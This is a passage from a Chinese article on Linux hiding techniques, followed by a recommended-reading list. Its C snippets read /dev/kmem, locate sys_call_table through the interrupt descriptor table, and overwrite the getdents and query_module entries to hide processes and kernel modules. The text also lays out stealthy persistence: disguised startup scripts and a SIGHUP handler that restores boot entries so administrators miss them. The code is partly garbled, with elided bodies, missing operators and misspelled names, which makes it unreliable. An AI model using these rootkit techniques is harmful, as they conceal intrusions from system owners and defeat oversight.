void readkmem(void *m,unsigned off,int sz) {………}
/*下面函数用于从src读取count个字节至dest处*/
void weitekmem(void *src,void *dest,unsigned int count) {………..}
unsigned sct;//用来存放sys_call_table地址
char buff[100]; //用于存放system_call函数的前100个字节 。
char *p;
if((kmem=open(“/dev/kmem”,O_RDONLY))<0)
return 1;
asm(“sidt %0” “:=m” (idtr));//读取idtr寄存器的值至idtr结构中
readkmem(&idt,idtr.base 8*0x80,sizeof(idt))//将0x80描述符读至idt结构中
sys_ call_off=(idt.off2<<16)|idt.off1; //得到system_call函数的地址 。
readkmem(buff,sys_call_off,100) //读取system_call函数的前100字节至buff
p=(char *)memmem(buff,100,”xffx14x85”,3);//得到call语句对应机器码的地址
sct=(unsigned *)(p 3)//得到sys_call_table的地址 。
至此已经得到了sys_call_table在内存中的位置,这样在根据系统调用号就能够找到相应的系统调用对应的地址,修改该地址就可以使用新的系统调函数,具体的做法如下:
readkmem(&orig_getdents,sctSYS_getdents*4,4)//保存原来的系统调用
readkmem(&orig_query_module,sct SYS_query_module*4,4);
writekmem(hacked_getdents,sct SYS_getdents*4,4);//设置新的系统调用
writekmem(hacket_query_module,sct SYS_query_module*4,4);
2.5 其他的相关技术
上面已经完全解决了隐藏的相关技术问题,在实际应用中,可以把启动模块或者进程的代码做成脚本加入到相应的启动目录中,假设你的Linux运行级别为3,则可以加到目录rc3.d中(该目录常存在于/etc/rc.d或者/etc目录下),然后把该脚本的名字改为可以隐藏的名字 。另一种方法就是在一些启动脚本中加入启动你的模块或者进程的代码,但这样比较容易被发现,一个解决思路就是进程或模块启动以后马上恢复正常的脚本,由于系统关机时会向所有进程发送SIGHUP信号,可以在进程或模块中处理该信号,使该信号发生时修改启动脚本,重新加入启动模块的代码,这样当系统下次启动时又可以加载这个的模块了,而且管理员察看启动脚本时也不会发现异常 。
3、结束语
本文对Linux环境下的一些高级隐藏技术进行了分析研究,其中所涉及的技术不仅可以用在系统安全方面,在其他方面也有重要的借鉴意义 。由于Linux的开放特性,使得攻击者一旦获得了root权限就能够对系统进行较多的修改,所以避免第一次被入侵是至关重要的 。
推荐阅读
- 什么是封闭式手机系统
- win10系统免费升级具体操作流程
- 如何恢复误删除的Linux文件
- 在嵌入式Linux中实现802.11b无线网关
- Linux下安装JDK,Tomcat及设置Cron程序
- Linux系统下如何加载U盘或移动硬盘
- 在Linux系统下建立强大的FTP搜索引擎
- 远程控制跟IP地址配置 linux学习
- 在Linux系统下优化Oracle具体步骤
- 在Linux桌面上 随意使用Windows的文档
